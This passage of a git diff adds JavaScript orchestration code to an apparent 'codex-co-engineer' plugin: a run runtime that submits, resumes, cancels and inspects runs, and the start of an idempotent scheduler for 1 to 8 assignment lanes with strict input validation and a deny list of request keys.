'cancelled'; + await appendJournal(handle, { + kind: 'run_terminal', + data: { outcome: runOutcome }, + dedupe_key: 'run_terminal', + }); + return journalState(handle); +} + +async function invokeLifecycle(fn, record, assignment, taskId, reason, field) { + const task = freezeData({ + id: taskId, + run_id: record.run_id, + assignment_id: assignment.assignment_id, + }); + const runtime = freezeData({ + task_id: taskId, + run_id: record.run_id, + assignment_id: assignment.assignment_id, + }); + const dependencies = freezeData({ reason }); + const raw = await callInjected(fn, [null, task, runtime, dependencies], + 'runtime_lifecycle_failed', field); + return sanitizeLifecycle(raw, taskId); +} + +async function settleAndCleanup(injected, record, assignment, schedulerLane, reason) { + const taskId = schedulerLane?.task_id ?? assignment.task_id; + const settled = await invokeLifecycle(injected.settleLocalTaskLifecycle, record, assignment, + taskId, reason, 'settleLocalTaskLifecycle'); + const cleaned = await invokeLifecycle(injected.cleanupLocalTaskLifecycle, record, assignment, + taskId, reason, 'cleanupLocalTaskLifecycle'); + return sanitizeLifecycle({ + ...settled, + final: settled.final === true && cleaned.final === true ? true : settled.final, + cleanup: cleaned.cleanup?.status ? cleaned.cleanup : settled.cleanup, + boundary: cleaned.boundary?.status ? cleaned.boundary : settled.boundary, + lock: cleaned.lock?.status ? cleaned.lock : settled.lock, + reason: cleaned.reason ?? settled.reason, + }, taskId); +} + +async function loadAttention(injected, runId) { + try { + const receipt = await callInjected(injected.attentionBatch.get, [runId], + 'runtime_journal_failed', 'attentionBatch.get'); + if (receipt === undefined || receipt === null) return null; + return receipt; + } catch (error) { + if (isTypedError(error) && (error.code === 'attention_batch_not_found' + || error.code === 'runtime_run_unknown')) { + return null; + } + throw error; + } +} + +function attentionItemsFrom(value) { + if (value === undefined) return null; + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failRuntime('invalid_type', 'attention_items', CONTENT_FREE.invalid_type); + } + if (value.length < 1 || value.length > MAX_ASSIGNMENTS) { + failRuntime('out_of_range', 'attention_items', CONTENT_FREE.out_of_range); + } + return value; +} + +async function latchAttention(injected, record, handle, items) { + const state = await journalState(handle); + const cursors = items.map((item) => ({ + assignment_id: item.assignment_id, + task_id: item.task_id, + event_cursor: STRING(item.event_cursor), + })); + const source = freezeData({ + journal_revision: state.revision ?? 0, + journal_head_hash: state.head_hash ?? RUN_JOURNAL_GENESIS_PREV, + task_cursors: cursors, + }); + const cancel = async (target) => { + const assignmentId = target?.assignment_id; + if (typeof assignmentId !== 'string') return { confirmed: false }; + const receipt = await callInjected(injected.scheduler.cancelAssignments, [{ + run_id: record.run_id, + assignment_ids: [assignmentId], + }], 'runtime_scheduler_failed', 'scheduler.cancelAssignments'); + return { confirmed: receipt !== null }; + }; + return callInjected(injected.attentionBatch.latch, [{ + run_id: record.run_id, + source, + items, + expected_revision: 0, + cancel, + }], 'runtime_journal_failed', 'attentionBatch.latch'); +} + +async function projectArtifacts(injected, record, assignmentId) { + return callInjected(injected.artifactBridge.projectAssignmentArtifacts, [{ + run_id: record.run_id, + assignment_id: assignmentId, + }], 'runtime_journal_failed', 'artifactBridge.projectAssignmentArtifacts'); +} + +async function cleanupArtifacts(injected, record, assignmentIds, lanes) { + const targeted = lanes.filter((lane) => assignmentIds.includes(lane.assignment_id)); + for (const lane of targeted) { + if (lane.cleanup?.final !== true) { + failRuntime('runtime_cleanup_unproven', 'cleanup', CONTENT_FREE.runtime_cleanup_unproven); + } + } + const receipt = await callInjected(injected.artifactBridge.cleanupRunArtifacts, [{ + run_id: record.run_id, + proof: freezeData({ + run_id: record.run_id, + assignment_ids: assignmentIds, + }), + }], 'runtime_cleanup_unproven', 'artifactBridge.cleanupRunArtifacts'); + return freezeData({ + cleaned: receipt?.cleaned === true, + proof_bound: true, + removed: typeof receipt?.removed === 'number' ? receipt.removed : 0, + remaining: typeof receipt?.remaining === 'number' ? receipt.remaining : 0, + unresolved: ARRAY_IS_ARRAY(receipt?.unresolved) ? receipt.unresolved : [], + }); +} + +function storeInputFrom(parsed) { + return { + run_id: ownDataValue(parsed, 'run_id', 'run_id'), + request_idempotency_key: ownDataValue(parsed, 'request_idempotency_key', + 'request_idempotency_key'), + identity: ownDataValue(parsed, 'identity', 'identity'), + git: ownDataValue(parsed, 'git', 'git'), + provenance: ownDataValue(parsed, 'provenance', 'provenance'), + telemetry: ownDataValue(parsed, 'telemetry', 'telemetry'), + }; +} + +export function describeRunRuntimeV1() { + return freezeData({ + schema: RUN_RUNTIME_SCHEMA_ID, + version: RUN_RUNTIME_VERSION, + receipt_schema: RUN_RUNTIME_RECEIPT_SCHEMA_ID, + methods: RUN_RUNTIME_METHODS, + dependencies: RUN_RUNTIME_DEPENDENCY_KEYS, + statuses: RUN_RUNTIME_STATUSES, + lane_statuses: RUN_RUNTIME_LANE_STATUSES, + journal_modes: RUN_RUNTIME_JOURNAL_MODES, + journal_event_kinds: RUN_JOURNAL_EVENT_KINDS, + checks: RUN_RUNTIME_CHECKS, + side_effects: RUN_RUNTIME_SIDE_EFFECTS, + error_codes: RUN_RUNTIME_ERROR_CODES, + bounds: capturedFreeze({ + assignments: capturedFreeze({ min: MIN_ASSIGNMENTS, max: MAX_ASSIGNMENTS }), + }), + rule: 'p24_one_submission_lifecycle_final_before_child_terminal_proof_bound_cleanup', + wake: false, + remote_mutated: false, + ownership: capturedFreeze({ + runtime: 'exact identity, idempotent submission, restart/cursor/attention evidence, cancellation, proof-bound cleanup', + injected: RUN_RUNTIME_DEPENDENCY_KEYS, + forbidden: capturedFreeze([ + 'scheduler_implementation', + 'artifact_bridge_implementation', + 'acp_worker', + 'process_boundary', + 'supervisor', + 'server', + 'lock_recovery', + 'candidate_composition', + 'changelog', + 'future_work', + 'gate_a', + 'release', + ]), + }), + composed_surfaces: capturedFreeze({ + p24: 'injected runStore.submit / getByRunId; durable one-submission identity', + p25: 'injected runJournal.create / open; six-kind fact store only', + r24a: 'injected aggregateAnchor.getCoordination', + r25b: 'injected runJournal.createAggregate / openAggregate after resolution_ready', + p27: 'composed as R24A resolution_ready; this module does not persist selection questions', + p34: 'injected attentionBatch.latch / reply / get', + scheduler: 'injected createRunScheduler result; never imported', + artifact_bridge: 'injected createRunArtifactBridge result; never imported', + lifecycle: 'injected settleLocalTaskLifecycle / cleanupLocalTaskLifecycle; never owns worker/boundary/lock recovery', + public_api: 'not exposed', + gate_a: 'not claimed', + }), + }); +} + +export function createRunRuntime(dependencies) { + const injected = parseDependencies(dependencies); + const runs = new Map(); + const queues = new Map(); + const journals = new Map(); + + async function recoverDurableRecord(runId, requireLanes) { + // Recover authoritative stored identity only. Never invent a digest. + const existing = runs.get(runId); + if (existing) return existing; + let stored = null; + try { + stored = await callInjected(injected.runStore.getByRunId, [runId], 'runtime_store_failed', + 'runStore.getByRunId'); + } catch (error) { + if (isTypedError(error) && capturedIncludes(STORE_MISSING_CODES, error.code)) { + if (requireLanes) { + failRuntime('runtime_run_unknown', 'run_id', CONTENT_FREE.runtime_run_unknown); + } + return null; + } + throw error; + } + const facts = storedSubmissionFacts(stored); + if (!facts.durable) { + if (requireLanes) { + failRuntime('runtime_run_unknown', 'run_id', CONTENT_FREE.runtime_run_unknown); + } + return null; + } + let schedulerReceipt = null; + try { + schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ + run_id: runId, + }], 'runtime_scheduler_failed', 'scheduler.resumeAssignments'); + } catch (error) { + if (!(isTypedError(error) && capturedIncludes(SCHEDULER_MISSING_CODES, error.code))) { + throw error; + } + } + const lanes = ARRAY_IS_ARRAY(schedulerReceipt?.lanes) ? schedulerReceipt.lanes : []; + if (requireLanes && lanes.length === 0) { + failRuntime('runtime_run_unknown', 'run_id', CONTENT_FREE.runtime_run_unknown); + } + const assignments = assignmentsFromLanes(lanes); + const coordination = await loadCoordination(injected.aggregateAnchor, runId); + const record = { + run_id: runId, + base_sha: facts.base_sha + ?? (typeof schedulerReceipt?.base_sha === 'string' ? schedulerReceipt.base_sha : null), + digest: recoveredIdentityDigest(runId, facts, assignments), + assignments, + request_idempotency_key: facts.request_idempotency_key, + journal_mode: coordination !== null ? 'aggregate' : 'legacy', + dispatched: true, + durable: true, + }; + runs.set(runId, record); + return record; + } + + async function rememberFromStore(runId) { + return recoverDurableRecord(runId, true); + } + + async function submitRun(request) { + const parsed = quarantineRequest(request, 'request', RUN_RUNTIME_SUBMIT_KEYS); + const runId = requireKey(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + const idempotencyKey = requireKey(parsed, 'request_idempotency_key', + 'request_idempotency_key'); + if (typeof idempotencyKey !== 'string' || !capturedTest(IDEMPOTENCY_KEY_PATTERN, idempotencyKey)) { + failRuntime('invalid_format', 'request_idempotency_key', CONTENT_FREE.invalid_format); + } + requireKey(parsed, 'identity', 'identity'); + const git = requireKey(parsed, 'git', 'git'); + requireKey(parsed, 'provenance', 'provenance'); + requireKey(parsed, 'telemetry', 'telemetry'); + const assignments = parseAssignments(requireKey(parsed, 'assignments', 'assignments')); + const baseSha = baseShaFromGit(git); + const digest = identityDigest(runId, baseSha, idempotencyKey, assignments); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const coordination = await loadCoordination(injected.aggregateAnchor, runId); + if (coordination !== null) { + if (coordination.phase !== AGGREGATE_READY_PHASE) { + failRuntime('runtime_selection_unresolved', 'aggregateAnchor', + CONTENT_FREE.runtime_selection_unresolved); + } + } + const known = await recoverDurableRecord(runId, false); + assertNoIdentityConflict(known, digest, idempotencyKey); + + let stored; + try { + stored = await callInjected(injected.runStore.submit, [storeInputFrom(parsed)], + 'runtime_store_failed', 'runStore.submit'); + } catch (error) { + mapStoreConflict(error); + throw error; + } + const created = stored?.created === true; + if (created && known?.durable === true) { + failRuntime('runtime_store_failed', 'runStore.submit', CONTENT_FREE.runtime_store_failed); + } + assertNoIdentityConflict(known, digest, idempotencyKey); + if (!created && known && typeof known.digest === 'string' && known.digest === digest) { + const handle = await bindJournal(injected, journals, known, false); + const state = await journalState(handle); + const schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ + run_id: runId, + }], 'runtime_scheduler_failed', 'scheduler.resumeAssignments'); + const lanes = known.assignments.map((assignment) => projectLane(assignment, + pickLane(schedulerReceipt, assignment.assignment_id), null)); + const attention = projectAttention(await loadAttention(injected, runId)); + const cursor = await journalCursor(handle, state.revision ?? 0); + return receiptFor(known, { + status: 'idempotent', + created: false, + dispatched: false, + observedAt, + lanes, + journal: projectJournal(handle, known.journal_mode, state), + attention, + cursor, + schedulerReceipt, + }); + } + + const record = { + run_id: runId, + base_sha: baseSha, + digest, + assignments, + request_idempotency_key: idempotencyKey, + journal_mode: coordination !== null ? 'aggregate' : 'legacy', + dispatched: false, + }; + if (!created) { + // Durable P24 identity already exists. Never redispatch. + runs.set(runId, record); + const handle = await bindJournal(injected, journals, record, false); + let state = await journalState(handle); + state = await ensureOpened(handle, state); + const attention = projectAttention(await loadAttention(injected, runId)); + const cursor = await journalCursor(handle, state.revision ?? 0); + const lanes = assignments.map((assignment) => projectLane(assignment, { + status: 'dispatched', + task_id: assignment.task_id, + }, null)); + return receiptFor(record, { + status: 'idempotent', + created: false, + dispatched: false, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention, + cursor, + }); + } + + runs.set(runId, record); + const handle = await bindJournal(injected, journals, record, true); + let state = await journalState(handle); + state = await ensureOpened(handle, state); + const schedulerReceipt = await callInjected(injected.scheduler.submitAssignments, [{ + run_id: runId, + base_sha: baseSha, + assignments, + }], 'runtime_scheduler_failed', 'scheduler.submitAssignments'); + record.dispatched = true; + const lanes = []; + for (const assignment of assignments) { + const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); + if (schedulerLane?.dispatched !== false && schedulerLaneStatus(schedulerLane) !== 'unresolved') { + state = await ensureChildStarted(handle, state, assignment.assignment_id); + } + lanes.push(projectLane(assignment, schedulerLane, null)); + } + const failed = lanes.some((lane) => lane.status === 'unresolved'); + const cursor = await journalCursor(handle, state.revision ?? 0); + return receiptFor(record, { + status: failed ? 'partial' : 'dispatched', + created: true, + dispatched: true, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention: projectAttention(null), + cursor, + schedulerReceipt, + }); + }); + } + + async function resumeRun(request) { + const parsed = quarantineRequest(request, 'request', RUN_RUNTIME_RESUME_KEYS); + const runId = requireKey(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = await rememberFromStore(runId); + const knownIds = new Set(record.assignments.map((assignment) => assignment.assignment_id)); + const lanesById = new Map(record.assignments.map((assignment) => [assignment.assignment_id, assignment])); + const selected = parseIdList(optionalKey(parsed, 'assignment_ids', 'assignment_ids'), + 'assignment_ids', knownIds); + const cursors = parseCursors(optionalKey(parsed, 'cursors', 'cursors'), lanesById); + for (const assignmentId of cursors.keys()) { + if (!selected.includes(assignmentId)) { + failRuntime('cursor_identity_mismatch', 'cursors', CONTENT_FREE.cursor_identity_mismatch); + } + } + const handle = await bindJournal(injected, journals, record, false); + let state = await journalState(handle); + const schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ + run_id: runId, + assignment_ids: selected, + cursors: [...cursors.values()], + }], 'runtime_scheduler_failed', 'scheduler.resumeAssignments'); + + const attentionItems = attentionItemsFrom(optionalKey(parsed, 'attention_items', + 'attention_items')); + let attentionReceipt = await loadAttention(injected, runId); + if (attentionItems !== null) { + attentionReceipt = await latchAttention(injected, record, handle, attentionItems); + } + + const lanes = []; + let pending = false; + for (const assignment of record.assignments) { + const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); + let lifecycle = null; + if (selected.includes(assignment.assignment_id) + && isAcceptableChildTerminal(schedulerLane)) { + lifecycle = await settleAndCleanup(injected, record, assignment, schedulerLane, + 'resume'); + if (lifecycle.final === true) { + const outcome = journalOutcomeFor(authoritativeLaneStatus(schedulerLane)); + if (outcome !== null) { + state = await ensureChildStarted(handle, state, assignment.assignment_id); + state = await acceptChildTerminal(handle, state, assignment.assignment_id, + outcome, lifecycle); + } + } else { + pending = true; + } + } + lanes.push(projectLane(assignment, schedulerLane, lifecycle)); + } + state = await maybeRunTerminal(handle, state, record, lanes); + const cursor = await journalCursor(handle, state.revision ?? 0); + return receiptFor(record, { + status: pending ? 'lifecycle_pending' : 'inspected', + created: false, + dispatched: false, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention: projectAttention(attentionReceipt), + cursor, + schedulerReceipt, + }); + }); + } + + async function cancelRun(request) { + const parsed = quarantineRequest(request, 'request', RUN_RUNTIME_CANCEL_KEYS); + const runId = requireKey(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + const cleanupRequested = optionalKey(parsed, 'cleanup', 'cleanup'); + if (cleanupRequested !== undefined && typeof cleanupRequested !== 'boolean') { + failRuntime('invalid_type', 'cleanup', CONTENT_FREE.invalid_type); + } + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = await rememberFromStore(runId); + const knownIds = new Set(record.assignments.map((assignment) => assignment.assignment_id)); + const selected = parseIdList(requireKey(parsed, 'assignment_ids', 'assignment_ids'), + 'assignment_ids', knownIds); + const handle = await bindJournal(injected, journals, record, false); + let state = await journalState(handle); + const schedulerReceipt = await callInjected(injected.scheduler.cancelAssignments, [{ + run_id: runId, + assignment_ids: selected, + }], 'runtime_scheduler_failed', 'scheduler.cancelAssignments'); + + const lanes = []; + let pending = false; + for (const assignment of record.assignments) { + const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); + let lifecycle = null; + if (selected.includes(assignment.assignment_id) && isConfirmedCancelled(schedulerLane)) { + lifecycle = await settleAndCleanup(injected, record, assignment, schedulerLane, + 'cancel'); + if (lifecycle.final === true) { + state = await ensureChildStarted(handle, state, assignment.assignment_id); + state = await acceptChildTerminal(handle, state, assignment.assignment_id, + 'cancelled', lifecycle); + } else { + pending = true; + } + } + lanes.push(projectLane(assignment, schedulerLane, lifecycle)); + } + state = await maybeRunTerminal(handle, state, record, lanes); + let cleanup = freezeData({ + cleaned: false, + proof_bound: true, + removed: 0, + remaining: null, + unresolved: [], + }); + if (cleanupRequested === true) { + cleanup = await cleanupArtifacts(injected, record, selected, lanes); + } + const cursor = await journalCursor(handle, state.revision ?? 0); + return receiptFor(record, { + status: pending ? 'lifecycle_pending' : 'cancelled', + created: false, + cancelled: true, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention: projectAttention(await loadAttention(injected, runId)), + cleanup, + cursor, + schedulerReceipt, + }); + }); + } + + async function inspectRun(request) { + const parsed = quarantineRequest(request, 'request', RUN_RUNTIME_INSPECT_KEYS); + const runId = requireKey(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + const assignmentFilter = optionalKey(parsed, 'assignment_id', 'assignment_id'); + if (assignmentFilter !== undefined && !isAssignmentId(assignmentFilter)) { + failRuntime('invalid_format', 'assignment_id', CONTENT_FREE.invalid_format); + } + + return enqueue(queues, runId, async () => { + const observedAt = readClock(injected.clock); + const record = await rememberFromStore(runId); + if (assignmentFilter !== undefined + && !record.assignments.some((assignment) => assignment.assignment_id === assignmentFilter)) { + failRuntime('runtime_assignment_unknown', 'assignment_id', + CONTENT_FREE.runtime_assignment_unknown); + } + const handle = await bindJournal(injected, journals, record, false); + const state = await journalState(handle); + const schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ + run_id: runId, + }], 'runtime_scheduler_failed', 'scheduler.resumeAssignments'); + const lanes = []; + for (const assignment of record.assignments) { + if (assignmentFilter !== undefined && assignment.assignment_id !== assignmentFilter) { + continue; + } + const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); + let lifecycle = null; + if (isAcceptableChildTerminal(schedulerLane)) { + lifecycle = await invokeLifecycle(injected.settleLocalTaskLifecycle, record, assignment, + schedulerLane?.task_id ?? assignment.task_id, 'inspect', + 'settleLocalTaskLifecycle'); + } + let artifacts = null; + try { + artifacts = await projectArtifacts(injected, record, assignment.assignment_id); + } catch (error) { + if (!(isTypedError(error) && (error.code === 'artifact_bridge_not_found' + || error.code === 'runtime_run_unknown'))) { + throw error; + } + } + lanes.push(freezeData({ + ...projectLane(assignment, schedulerLane, lifecycle), + artifacts, + })); + } + const cursorToken = optionalKey(parsed, 'cursor', 'cursor'); + const cursor = cursorToken !== undefined + ? cursorToken + : await journalCursor(handle, state.revision ?? 0); + return receiptFor(record, { + status: lanes.some((lane) => lane.status === 'lifecycle_pending') + ? 'lifecycle_pending' + : 'inspected', + created: false, + observedAt, + lanes, + journal: projectJournal(handle, record.journal_mode, state), + attention: projectAttention(await loadAttention(injected, runId)), + cursor, + schedulerReceipt, + }); + }); + } + + return capturedFreeze({ + submitRun, + resumeRun, + cancelRun, + inspectRun, + }); +} + +capturedFreeze(createRunRuntime); +capturedFreeze(describeRunRuntimeV1); +capturedFreeze(RUN_RUNTIME_ERROR_CODES); +capturedFreeze(RUN_RUNTIME_METHODS); +capturedFreeze(RUN_RUNTIME_DEPENDENCY_KEYS); diff --git a/plugins/codex-co-engineer/mcp/v3/run-scheduler.mjs b/plugins/codex-co-engineer/mcp/v3/run-scheduler.mjs new file mode 100644 index 0000000..5fb7618 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-scheduler.mjs @@ -0,0 +1,1159 @@ +// RunSchedulerV1 — one-submission idempotent 1–8 assignment fanout (P33; +// ADR 0001 identifiers `bounded_run_1_to_8`, `exact_identities`, +// `disjoint_writer_scopes`, `read_only_verification`, +// `no_post_dispatch_fallback_or_replay`, `attention_batch_v1`; Gate A +// `gate_a_idempotent_submission`, `gate_a_no_duplicate_dispatch`, +// `gate_a_assignment_count_1_to_8`, `gate_a_cancellation_restart_cursor`). +// +// Additive v3 module. It owns in-memory scheduling over injected task +// functions: one exact run identity, 1–8 independent lanes, disjoint +// writer scopes, read-only verification lanes, and exactly-once +// delegate/inspect/cancel. Idempotent exact resubmit never redispatches. +// A failed, cancelled, or unsupported lane does not stop unaffected +// lanes. Resume records bounded cursor/attention/restart evidence and +// never replays. This module does not import or own run-runtime, +// artifact-bridge, lifecycle, supervisor, server, candidate, mailbox, +// or provider-driver surfaces. + +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + capturedUtf8ByteLength, + isKnownAccess, + isKnownProvider, + isKnownRole, + isModelId, + knownProvidersJoined, + requiredAccessForRole, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + MAX_ASSIGNMENTS, + MIN_ASSIGNMENTS, + SCOPE_MAX_PATTERNS, + assertBaseSha, + assertRunId, + assertWriteScopePatterns, + isAssignmentId, + isSha40, + writerScopesOverlap, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_SCHEDULER_SCHEMA_ID = 'codex-co-engineer.run-scheduler.v1'; +export const RUN_SCHEDULER_VERSION = 1; +export const RUN_SCHEDULER_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.run-scheduler-receipt.v1'; +export const RUN_SCHEDULER_HASH_DOMAIN = 'codex-co-engineer.run-scheduler-hash.v1'; + +export const RUN_SCHEDULER_METHODS = capturedFreeze([ + 'submitAssignments', 'resumeAssignments', 'cancelAssignments', +]); +export const RUN_SCHEDULER_DEPENDENCY_KEYS = capturedFreeze([ + 'delegateTask', 'inspectTask', 'cancelTask', 'clock', +]); +export const RUN_SCHEDULER_SUBMIT_KEYS = capturedFreeze([ + 'assignments', 'base_sha', 'run_id', +]); +export const RUN_SCHEDULER_RESUME_KEYS = capturedFreeze([ + 'assignment_ids', 'cursors', 'run_id', +]); +export const RUN_SCHEDULER_CANCEL_KEYS = capturedFreeze([ + 'assignment_ids', 'run_id', +]); +export const RUN_SCHEDULER_ASSIGNMENT_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'model', 'provider', 'required', 'role', + 'starting_ref', 'task_id', 'write_scope', +]); +export const RUN_SCHEDULER_CURSOR_KEYS = capturedFreeze([ + 'assignment_id', 'event_cursor', 'task_id', +]); +export const RUN_SCHEDULER_LANE_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'attention', 'cancel_confirmed', 'cursor', + 'dispatched', 'fallback', 'model', 'provider', 'replayed', 'required', + 'role', 'starting_ref', 'status', 'task_id', 'unresolved', 'write_scope', +]); +export const RUN_SCHEDULER_RECEIPT_KEYS = capturedFreeze([ + 'assignment_count', 'base_sha', 'checks', 'complete_candidate_blocked', + 'created', 'lanes', 'observed_at', 'remote_mutated', 'run_id', 'schema', + 'side_effects', 'status', 'version', 'wake', +]); +export const RUN_SCHEDULER_STATUSES = capturedFreeze([ + 'dispatched', 'partial', 'idempotent', 'inspected', 'cancelled', +]); +export const RUN_SCHEDULER_LANE_STATUSES = capturedFreeze([ + 'dispatched', 'running', 'needs_attention', 'completed', 'failed', + 'cancelled', 'unresolved', 'timeout', 'transport_lost', 'environment_blocked', +]); +export const RUN_SCHEDULER_UNRESOLVED_CODES = capturedFreeze([ + 'dispatch_failed', + 'identity_mismatch', + 'same_session_reply_unsupported', + 'safe_cancel_unconfirmed', + 'restart_denied_no_replay', + 'inspect_failed', + 'attention_evidence_invalid', +]); +export const RUN_SCHEDULER_REPLY_CAPABILITIES = capturedFreeze([ + 'same_session', 'unsupported', +]); +export const RUN_SCHEDULER_CHECKS = capturedFreeze([ + 'request_quarantine', + 'child_bounds', + 'exact_identity', + 'disjoint_writer_scopes', + 'read_only_verification', + 'one_submission', + 'no_duplicate_dispatch', + 'no_replay', + 'no_fallback', + 'unaffected_lanes_continue', + 'bounded_attention', + 'remote_mutation_denied', +]); +export const RUN_SCHEDULER_SIDE_EFFECTS = capturedFreeze([ + 'task_dispatched', + 'task_cancelled', + 'duplicate_dispatch', + 'replay', + 'fallback', + 'workspace_created', + 'branch_or_ref_created', + 'candidate_composed', + 'server_cutover', + 'remote_mutated', +]); +export const RUN_SCHEDULER_ALWAYS_FALSE_SIDE_EFFECTS = capturedFreeze([ + 'duplicate_dispatch', + 'replay', + 'fallback', + 'workspace_created', + 'branch_or_ref_created', + 'candidate_composed', + 'server_cutover', + 'remote_mutated', +]); + +export { MIN_ASSIGNMENTS, MAX_ASSIGNMENTS }; +export const MAX_SCHEDULER_ATTENTION_PROMPT_BYTES = 4096; +export const MAX_SCHEDULER_ATTENTION_OPTIONS = 8; +export const MAX_SCHEDULER_ATTENTION_OPTION_BYTES = 128; +export const MAX_SCHEDULER_DIAGNOSTIC_BYTES = 160; + +const TASK_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +const EVENT_CURSOR_PATTERN = /^[0-9]{1,16}$/u; +const SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const QUESTION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const CLOCK_ISO_PATTERN = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/u; +const HASH_ALGORITHM = 'sha256'; +const CREATE_HASH = createHash; +const IS_PROXY = utilTypes.isProxy; +const STRING = String; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const ARRAY_IS_ARRAY = Array.isArray; +const REFLECT_OWN_KEYS = Reflect.ownKeys; + +const TERMINAL_LANE_STATUSES = capturedFreeze([ + 'completed', 'failed', 'cancelled', 'unresolved', 'timeout', + 'transport_lost', 'environment_blocked', +]); +const INSPECT_STATUS_MAP = capturedFreeze({ + dispatched: 'dispatched', + starting: 'running', + accepted: 'running', + running: 'running', + cancelling: 'running', + needs_attention: 'needs_attention', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + timeout: 'timeout', + timed_out: 'timeout', + transport_lost: 'transport_lost', + environment_blocked: 'environment_blocked', +}); + +const FORBIDDEN_KEY_CODES = capturedFreeze({ + after: 'dependency_not_allowed', + before: 'dependency_not_allowed', + blocked_by: 'dependency_not_allowed', + blocking: 'dependency_not_allowed', + children: 'dependency_not_allowed', + dag: 'dependency_not_allowed', + dependencies: 'dependency_not_allowed', + depends_on: 'dependency_not_allowed', + edges: 'dependency_not_allowed', + needs: 'dependency_not_allowed', + parent: 'dependency_not_allowed', + parents: 'dependency_not_allowed', + prerequisites: 'dependency_not_allowed', + requires: 'dependency_not_allowed', + waits_for: 'dependency_not_allowed', + fallback: 'replay_or_fallback_denied', + replay: 'replay_or_fallback_denied', + redispatch: 'replay_or_fallback_denied', + retry: 'replay_or_fallback_denied', + allow_post_dispatch_fallback: 'replay_or_fallback_denied', + workspace_mode: 'direct_mode_denied', + direct: 'direct_mode_denied', + allow_merge: 'merge_authority_denied', + allow_create_pr: 'merge_authority_denied', + allow_push: 'merge_authority_denied', + create_pr: 'merge_authority_denied', + create_pull_request: 'merge_authority_denied', + merge: 'merge_authority_denied', + merge_pr: 'merge_authority_denied', + open_pr: 'merge_authority_denied', + push: 'merge_authority_denied', + force_push: 'merge_authority_denied', + argv: 'executable_content_denied', + command: 'executable_content_denied', + commands: 'executable_content_denied', + exec: 'executable_content_denied', + executable: 'executable_content_denied', + script: 'executable_content_denied', + shell: 'executable_content_denied', + api_key: 'credential_content_denied', + credential: 'credential_content_denied', + credentials: 'credential_content_denied', + password: 'credential_content_denied', + secret: 'credential_content_denied', + secrets: 'credential_content_denied', + token: 'credential_content_denied', + tokens: 'credential_content_denied', +}); + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'Scheduler data must be direct JSON values; getters are never invoked.', + aliased_reference_denied: 'Scheduler inputs must be acyclic trees without shared aliases.', + assignment_id_unknown: 'The assignment_id is not part of this exact run.', + clock_invalid: 'The injected clock must return a UTC ISO-8601 timestamp or a safe epoch millisecond count.', + cursor_identity_mismatch: 'Resume cursors must bind the exact assignment and task identity.', + dependency_not_allowed: 'Scheduler assignments are independent; dependency edges are denied.', + direct_mode_denied: 'Run submissions never use direct mode.', + duplicate_assignment_id: 'Each assignment_id in a run must be unique.', + duplicate_task_id: 'Each task_id in a run must be unique.', + executable_content_denied: 'Scheduler requests cannot carry executables, argv, or shell content.', + credential_content_denied: 'Scheduler requests cannot carry credential material.', + exotic_prototype_denied: 'Scheduler data must use the standard or null prototype.', + injected_dependency_invalid: 'createRunScheduler requires injected task functions and a clock.', + invalid_clock: 'The injected clock must return a UTC ISO-8601 timestamp or a safe epoch millisecond count.', + invalid_format: 'A scheduler field violates the required exact grammar.', + invalid_type: 'A scheduler field has the wrong JSON type.', + merge_authority_denied: 'Scheduler lanes have no merge, push, or create-PR authority.', + missing_key: 'A required scheduler field is missing; there are no hidden defaults.', + overlapping_writer_scope: 'Writer scopes of concurrent assignments must be disjoint.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + out_of_range: 'A scheduler collection is outside the closed 1–8 bound.', + proxy_denied: 'Scheduler surfaces accept direct JSON data only.', + read_only_scope_denied: 'Read-only verification lanes must declare an empty write_scope.', + replay_or_fallback_denied: 'After dispatch there is no fallback, replay, retry, or redispatch.', + role_access_mismatch: 'Role and access must match the closed writer/read-only pairing.', + scheduler_run_conflict: 'The run_id is already bound to a different exact assignment identity.', + scheduler_run_unknown: 'The run_id is not available to this scheduler.', + starting_ref_forbidden_local: 'starting_ref is only valid for cursor-cloud lanes.', + cloud_starting_ref_required: 'Every cursor-cloud lane must pin one exact starting SHA.', + symbol_key_denied: 'Scheduler data cannot carry symbol keys.', + unknown_key: 'A scheduler object carries a key outside the closed vocabulary.', + unknown_provider: 'The provider is not 